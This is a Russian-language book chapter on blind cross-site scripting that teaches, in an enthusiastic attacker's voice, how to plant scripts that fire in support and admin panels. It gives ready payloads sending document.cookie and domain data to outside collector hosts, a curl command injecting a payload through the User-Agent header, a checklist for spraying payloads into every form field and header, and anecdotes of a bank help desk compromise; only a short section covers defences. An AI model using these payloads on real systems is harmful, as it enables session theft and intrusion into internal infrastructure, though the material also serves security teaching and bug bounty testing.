Книга: «Все об уязвимости XSS». Глава 2: Типы XSS — Знай врага в лицо 👀. Blind XSS: играем в прятки с бэкенд-админом
Blind XSS — это та разновидность уязвимости, где ты закидываешь payload как крючок в темной воде и ждёшь, когда кто-то из бэкенда, модерации или саппорта случайно зацепится. В отличие от обычного XSS, здесь ты не видишь мгновенного триггера — атака срабатывает далеко от твоих глаз, часто спустя часы, дни, недели. Но когда она взрывается, ты получаешь доступ к тем, кто стоит за кулисами сайта: администраторам, сотрудникам службы поддержки, аналитику, внутренним системам. Это настоящая игра в прятки, где побеждает терпеливый и изобретательный.
Как устроен Blind XSS
В классическом XSS ты внедряешь скрипт в точку, сразу видишь вспышку — alert(1), украденные cookie, взломанную сессию.
• Ты отправил форму или запрос, который сохраняется в базе.
• Запрос прочитает саппорт или админ в своей панели, где браузер отобразит payload.
• Админ открыл тикет или лог — твой скрипт сработал уже в его браузере.
• Ты получаешь обратную связь (например, запрос на твой сервер), хотя у тебя нет прямого доступа к интерфейсу админа.
Это особенно опасно для внутренних систем: багтрекеры, системы тикетов, Help Desk, email-интерфейсы, CRM, панели статистики.
Где ищут Blind XSS
Blind XSS встречается там, где работают с пользовательским вводом вне клиентского интерфейса:
• Тикеты поддержки: сообщение клиента хранится и отрисовывается администратору или саппорту во внутренней системе.
• Feedback формы: обратная связь поступает на корпоративную почту или в Help Desk, где HTML может быть необработан.
• Bug Reports: багрепорты, отзывы, комментарии, которые просматривают модераторы.
• Логи и отчеты: некоторые сервисы записывают User-Agent, Referer, параметры запроса, комментарии в лог, а потом открывают их веб-интерфейсом.
• Внутренние CMS: например, admin-панель магазина, где заказ с описанием пользователя отображается в админке.
Классическая атака
1. Ты находишь форму обратной связи. В поле “Комментарий” вставляешь payload:
<script src="https://your-xss-server.com/steal.js"></script>
2. Payload сохраняется в базе или отправляется на email поддержки.
3. Cаппорт открывает заявку через свою панель, где содержимое вставляется в DOM без фильтрации.
4. JS срабатывает, отправляет данные админа (cookie, LocalStorage, DOM) на твой сервер.
5. В профите: ты видишь попадание на свой сервер — Blind XSS сработал! Теперь можно атаковать внутреннюю систему.
Почему Blind XSS — это особый кайф
• Атака на привилегированных пользователей: если твоё js сработало у админа, ты получаешь вообще всё: доступ к настройкам, системам, внутренним данным.
• Обход фронтовых фильтров: многие защиты работают только для публичной части сайта. Внутри — легаси-HTML, плохо написанный JS, отсутствие фильтрации, костыли десяти летней давности.
• Сложность обнаружения: админ или саппорт могут часами не заметить, что их панель была заражена. Уже после факта похищения куки, они воспринимают баг как “странный глюк”, а не атаку.
• Массовый охват: твой payload может жить в базе месяца, срабатывать при каждом новом просмотре — ты на коне каждый раз, как кто-то листает тикет с твоим комментарем.
Инструменты и автоматизация
Для профессионального охотника Blind XSS — must have:
• XSSHunter: сервис, который автоматом генерирует payload, ловит HTTP-запросы от жертв, показывает инфу о бэкэнде, сессиях, браузере. Его можно интегрировать в свои сканеры — payload’ы сами отправляют отчёты, как только кто-то попался.
• Burp Suite Intruder: для массовой рассылки payload’ов во все поля формы сайта.
• Скрипты автоматизации: можно запустить цикл отправки формы в каждое поле, по всем возможным страницам.
Payload’ы для Blind XSS
• Простой `<script>new Image().src='https://your-xss.com/?c='+document.cookie</script>`
• `<img src=x onerror="fetch('https://your-xss.net/log?d='+document.domain)">`
• Обфусцированные SVG — `<svg/onload=fetch('https://hook.xsshunter.com/?key='+document.cookie)>`
• Polyglot-атаки — чтобы сработать в разных контекстах.
Совет: не забудь про User-Agent, Referer — многие системы логируют их и открывают через веб-панели. Вставь payload туда:
curl -A '<svg/onload=alert(1)>' http://target.site/
Шанс сработать в аналитике или логах реальный!
Как отслеживать успех атаки
Blind XSS — это всегда “охота на обратную связь”. Ты ждёшь, когда кто-то откроет твой payload. Используй уникальные URL:
• Каждый отправленный payload содержит уникальный ключ — так ты отлавливаешь, где именно, какой тикет, какой клиент попался.
• Получаешь запрос на свой xsshunter-сервер — видишь IP, Cookie, LocalStorage, даже скриншот страницы.
Как защищаться
Blind XSS — головная боль для админов:
• Не вставляй пользовательские данные в innerHTML/insertAdjacentHTML/outerHTML без экранирования
• Используй sanitization-библиотеки: DOMPurify, OWASP ESAPI
• Валидация и фильтрация на входе и выходе
• Обновляй легаси-пакет админок, убирай костыли
• Заставь админ-панель использовать CSP, запрети inline-скрипты
• Логируй все подозрительные действия — экстремальная активность форм и логов может быть признаком атаки
Чеклист охотника за Blind XSS
• Отправляй payload во все формы (заявки, тикеты, багрепорты, обратную связь).
• Вставляй payload в нестандартные поля — “фамилия”, “описание”, “телефон”, “метки”.
• Пихай payload в заголовки HTTP через curl и кастомные клиенты.
• Анализируй публичные и внутренние панели сайта — иши места, где чье-то окно может отобразить твой ввод.
• Используй сервисы like XSSHunter для автоматического отслеживания.
Кейсы из жизни
Один из самых эффектных багов: Blind XSS во внутренней панели тикет-системы банка. Клиент вводит имя: `<script src="https://xss.farm/hook.js"></script>`. За сутки тикет просмотрели три разных саппорта — каждый отдал куку и внутреннюю инфу через скрипт. После этого атака распространилась на внутренний чат, а потом на корпоративный Help Desk.
Ещё кейс: Blind XSS через поле “email” формы обратной связи. Вводишь
`"xss@bad.com"><svg/onload=fetch('https://xssme.io/pwn?d='+document.domain)>`
Письмо улетает в поддержку, саппорт открывает email в Outlook с предпросмотром HTML — скрипт срабатывает, извлекает информацию.
Итоги
Blind XSS — это не про скорость, а про терпение, охоту и многомерные атакующие техники. Ты не видишь мгновенного результата — но победа может быть масштабнее, чем при классической атаки. Это подарок для тех, кто умеет ждать, автоматизировать и анализировать. Мощнейший инструмент в bug bounty, настоящий зловред для внутренней инфраструктуры. Будь готов: игра в прятки с бэкэндом открыта.
